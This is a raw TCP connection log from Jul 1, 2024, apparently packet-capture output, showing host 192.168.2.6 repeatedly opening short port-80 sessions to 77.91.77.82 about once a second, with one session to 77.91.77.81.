Jul 1, 2024 07:21:53.174720049 CEST	49778	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:53.283154964 CEST	49778	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:53.283493042 CEST	49780	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:53.290029049 CEST	80	49780	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:53.290059090 CEST	80	49778	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:53.290129900 CEST	49780	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:53.290152073 CEST	49778	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:53.290249109 CEST	49780	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:53.295186043 CEST	80	49780	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:53.995728016 CEST	80	49780	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:53.995794058 CEST	49780	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:54.019355059 CEST	49780	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:54.024260044 CEST	80	49780	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:54.241267920 CEST	80	49780	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:54.241396904 CEST	49780	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:54.356328964 CEST	49780	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:54.356692076 CEST	49781	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:54.361715078 CEST	80	49781	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:54.361872911 CEST	49781	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:54.362082958 CEST	49781	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:54.362502098 CEST	80	49780	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:54.362565041 CEST	49780	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:54.367793083 CEST	80	49781	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:55.074259043 CEST	80	49781	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:55.074346066 CEST	49781	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:55.075189114 CEST	49781	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:55.080014944 CEST	80	49781	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:55.301563025 CEST	80	49781	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:55.301672935 CEST	49781	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:55.403269053 CEST	49781	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:55.403618097 CEST	49782	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:55.408632994 CEST	80	49781	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:55.408662081 CEST	80	49782	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:55.408734083 CEST	49781	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:55.408792019 CEST	49782	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:55.408936024 CEST	49782	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:55.413636923 CEST	80	49782	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:56.126580000 CEST	80	49782	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:56.126753092 CEST	49782	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:56.127551079 CEST	49782	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:56.132433891 CEST	80	49782	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:56.354549885 CEST	80	49782	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:56.354754925 CEST	49782	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:56.465504885 CEST	49782	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:56.465876102 CEST	49783	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:56.470659971 CEST	80	49783	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:56.470705032 CEST	80	49782	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:56.470746040 CEST	49783	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:56.470784903 CEST	49782	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:56.470963955 CEST	49783	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:56.475671053 CEST	80	49783	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:57.173646927 CEST	80	49783	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:57.173742056 CEST	49783	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:57.176326036 CEST	49783	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:57.184524059 CEST	80	49783	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:57.405288935 CEST	80	49783	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:57.405348063 CEST	49783	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:57.513010025 CEST	49783	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:57.513345003 CEST	49784	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:57.518100977 CEST	80	49784	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:57.518198013 CEST	80	49783	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:57.518218040 CEST	49784	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:57.518254042 CEST	49783	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:57.518408060 CEST	49784	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:57.523150921 CEST	80	49784	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:58.203861952 CEST	80	49784	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:58.204011917 CEST	49784	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:58.204761028 CEST	49784	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:58.209526062 CEST	80	49784	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:58.420999050 CEST	80	49784	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:58.421145916 CEST	49784	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:58.531416893 CEST	49784	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:58.531788111 CEST	49785	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:58.536632061 CEST	80	49785	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:58.536648989 CEST	80	49784	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:58.536710024 CEST	49785	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:58.536724091 CEST	49784	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:58.536964893 CEST	49785	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:58.541718006 CEST	80	49785	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:58.543199062 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:58.549027920 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:58.549076080 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:59.224980116 CEST	80	49785	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:59.225053072 CEST	49785	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:59.228688002 CEST	49785	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:59.229032040 CEST	49786	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:59.233813047 CEST	80	49785	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:59.233824968 CEST	80	49786	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:59.233859062 CEST	49785	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:59.233901024 CEST	49786	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:59.234133959 CEST	49786	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:59.238866091 CEST	80	49786	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:59.930843115 CEST	80	49786	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:59.930913925 CEST	49786	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:00.046303988 CEST	49786	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:00.046803951 CEST	49787	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:00.051872969 CEST	80	49787	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:00.051989079 CEST	49787	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:00.052170038 CEST	80	49786	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:00.052215099 CEST	49786	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:00.052504063 CEST	49787	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:00.057202101 CEST	80	49787	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:00.757316113 CEST	80	49787	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:00.757564068 CEST	49787	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:00.760510921 CEST	49787	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:00.760839939 CEST	49788	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:00.766293049 CEST	80	49788	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:00.766304016 CEST	80	49787	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:00.766383886 CEST	49788	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:00.766426086 CEST	49787	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:00.766659021 CEST	49788	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:00.771630049 CEST	80	49788	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:01.475387096 CEST	80	49788	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:01.475497961 CEST	49788	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:01.597768068 CEST	49788	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:01.598119974 CEST	49789	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:01.606802940 CEST	80	49789	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:01.606818914 CEST	80	49788	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:01.606890917 CEST	49788	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:01.606918097 CEST	49789	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:01.608871937 CEST	49789	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:01.613663912 CEST	80	49789	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:02.337728977 CEST	80	49789	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:02.338612080 CEST	49789	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:02.342081070 CEST	49789	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:02.342329025 CEST	49790	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:02.347850084 CEST	80	49790	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:02.347999096 CEST	80	49789	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:02.348061085 CEST	49789	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:02.348061085 CEST	49790	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:02.348292112 CEST	49790	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:02.355386972 CEST	80	49790	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:03.035132885 CEST	80	49790	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:03.035238028 CEST	49790	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:03.140261889 CEST	49790	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:03.140561104 CEST	49791	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:03.145490885 CEST	80	49790	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:03.145507097 CEST	80	49791	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:03.145580053 CEST	49790	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:03.145591021 CEST	49791	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:03.145848036 CEST	49791	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:03.150552988 CEST	80	49791	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:03.850735903 CEST	80	49791	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:03.850799084 CEST	49791	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:03.854319096 CEST	49791	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:03.854629040 CEST	49792	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:03.859544039 CEST	80	49792	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:03.859597921 CEST	80	49791	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:03.859613895 CEST	49792	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:03.859639883 CEST	49791	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:03.860008001 CEST	49792	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:03.864787102 CEST	80	49792	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:04.589272022 CEST	80	49792	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:04.589905977 CEST	49792	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:04.702315092 CEST	49792	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:04.702625990 CEST	49793	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:04.707427979 CEST	80	49793	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:04.707442999 CEST	80	49792	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:04.707500935 CEST	49793	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:04.707524061 CEST	49792	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:04.707653046 CEST	49793	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:04.712378979 CEST	80	49793	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:04.715540886 CEST	49793	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:04.718472004 CEST	49794	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:04.723272085 CEST	80	49794	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:04.723464966 CEST	49794	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:04.723625898 CEST	49794	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:04.728512049 CEST	80	49794	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:05.411750078 CEST	80	49794	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:05.411935091 CEST	49794	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:05.530467987 CEST	49794	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:05.530849934 CEST	49795	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:05.535552979 CEST	80	49794	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:05.535619020 CEST	49794	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:05.535670996 CEST	80	49795	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:05.535738945 CEST	49795	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:05.535902023 CEST	49795	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:05.540802002 CEST	80	49795	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:06.242638111 CEST	80	49795	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:06.242701054 CEST	49795	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:06.245868921 CEST	49795	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:06.246443033 CEST	49796	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:06.253931046 CEST	80	49795	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:06.253978968 CEST	49795	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:06.254107952 CEST	80	49796	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:06.254182100 CEST	49796	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:06.254916906 CEST	49796	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:06.259911060 CEST	80	49796	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:06.953778028 CEST	80	49796	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:06.953861952 CEST	49796	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:07.061316967 CEST	49796	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:07.061691999 CEST	49797	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:07.066483021 CEST	80	49797	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:07.066509962 CEST	80	49796	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:07.066584110 CEST	49796	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:07.066595078 CEST	49797	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:07.066744089 CEST	49797	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:07.071582079 CEST	80	49797	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:07.769180059 CEST	80	49797	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:07.769249916 CEST	49797	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:07.772527933 CEST	49797	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:07.772893906 CEST	49798	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:07.777647972 CEST	80	49797	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:07.777658939 CEST	80	49798	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:07.777694941 CEST	49797	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:07.777745962 CEST	49798	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:07.778136969 CEST	49798	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:07.782871008 CEST	80	49798	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:08.489912033 CEST	80	49798	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:08.489999056 CEST	49798	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:08.609622002 CEST	49798	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:08.609989882 CEST	49799	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:08.614871025 CEST	80	49799	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:08.614913940 CEST	80	49798	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:08.614942074 CEST	49799	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:08.614980936 CEST	49798	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:08.615228891 CEST	49799	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:08.620107889 CEST	80	49799	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:09.345458031 CEST	80	49799	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:09.345524073 CEST	49799	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:09.348434925 CEST	49799	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:09.348709106 CEST	49800	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:09.353445053 CEST	80	49800	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:09.353522062 CEST	49800	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:09.353584051 CEST	80	49799	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:09.353632927 CEST	49799	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:09.353677988 CEST	49800	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:09.359276056 CEST	80	49800	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:10.050410986 CEST	80	49800	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:10.050518990 CEST	49800	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:10.156667948 CEST	49800	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:10.157118082 CEST	49801	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:10.162075043 CEST	80	49801	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:10.162201881 CEST	80	49800	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:10.162266970 CEST	49800	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:10.162280083 CEST	49801	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:10.162785053 CEST	49801	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:10.167532921 CEST	80	49801	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:10.868160963 CEST	80	49801	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:10.868345022 CEST	49801	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:10.871615887 CEST	49801	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:10.871994019 CEST	49802	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:10.876744032 CEST	80	49802	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:10.876787901 CEST	80	49801	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:10.876816034 CEST	49802	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:10.876873016 CEST	49801	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:10.877079010 CEST	49802	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:10.881871939 CEST	80	49802	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:11.678395987 CEST	80	49802	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:11.678468943 CEST	49802	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:11.802475929 CEST	49802	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:11.802829027 CEST	49804	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:11.809562922 CEST	80	49802	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:11.809627056 CEST	49802	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:11.809701920 CEST	80	49804	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:11.809956074 CEST	49804	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:11.810853004 CEST	49804	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:11.818883896 CEST	80	49804	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:12.524285078 CEST	80	49804	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:12.524447918 CEST	49804	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:12.527338028 CEST	49804	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:12.527797937 CEST	49805	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:12.532471895 CEST	80	49804	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:12.532524109 CEST	80	49805	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:12.532598972 CEST	49804	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:12.532629013 CEST	49805	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:12.532908916 CEST	49805	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:12.537642002 CEST	80	49805	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:13.242422104 CEST	80	49805	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:13.242489100 CEST	49805	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:13.358027935 CEST	49805	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:13.358315945 CEST	49806	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:13.363336086 CEST	80	49806	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:13.363351107 CEST	80	49805	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:13.363409996 CEST	49806	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:13.363437891 CEST	49805	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:13.363758087 CEST	49806	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:13.368531942 CEST	80	49806	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:14.050733089 CEST	80	49806	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:14.054594040 CEST	49806	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:14.056962013 CEST	49806	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:14.057256937 CEST	49807	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:14.062096119 CEST	80	49807	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:14.062479973 CEST	80	49806	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:14.062566996 CEST	49806	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:14.062577009 CEST	49807	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:14.062813997 CEST	49807	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:14.067617893 CEST	80	49807	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:14.788126945 CEST	80	49807	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:14.788211107 CEST	49807	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:14.905512094 CEST	49807	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:14.905857086 CEST	49808	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:14.912668943 CEST	80	49808	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:14.912751913 CEST	49808	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:14.912830114 CEST	80	49807	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:14.912990093 CEST	49808	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:14.913016081 CEST	49807	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:14.919835091 CEST	80	49808	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:15.627074003 CEST	80	49808	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:15.627315044 CEST	49808	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:15.630683899 CEST	49808	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:15.631032944 CEST	49809	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:15.635823011 CEST	80	49808	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:15.635900974 CEST	80	49809	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:15.635950089 CEST	49808	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:15.635982990 CEST	49809	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:15.636136055 CEST	49809	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:15.640867949 CEST	80	49809	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:16.325460911 CEST	80	49809	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:16.325525999 CEST	49809	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:16.436985016 CEST	49809	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:16.437310934 CEST	49810	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:16.442095041 CEST	80	49809	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:16.442107916 CEST	80	49810	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:16.442151070 CEST	49809	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:16.442203999 CEST	49810	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:16.442440987 CEST	49810	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:16.447124004 CEST	80	49810	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:17.138597012 CEST	80	49810	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:17.138657093 CEST	49810	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:17.142097950 CEST	49810	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:17.142646074 CEST	49811	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:17.147301912 CEST	80	49810	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:17.147380114 CEST	80	49811	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:17.147428989 CEST	49810	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:17.147469997 CEST	49811	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:17.147845984 CEST	49811	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:17.152631998 CEST	80	49811	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:17.846134901 CEST	80	49811	77.91.77.82	192.168.2.6
Jul 1, 2024 07:22:17.846194029 CEST	49811	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:17.951900959 CEST	49811	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:17.952253103 CEST	49812	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:22:17.957094908 CEST	80	49812	77.91.77.82	192.168.2.6
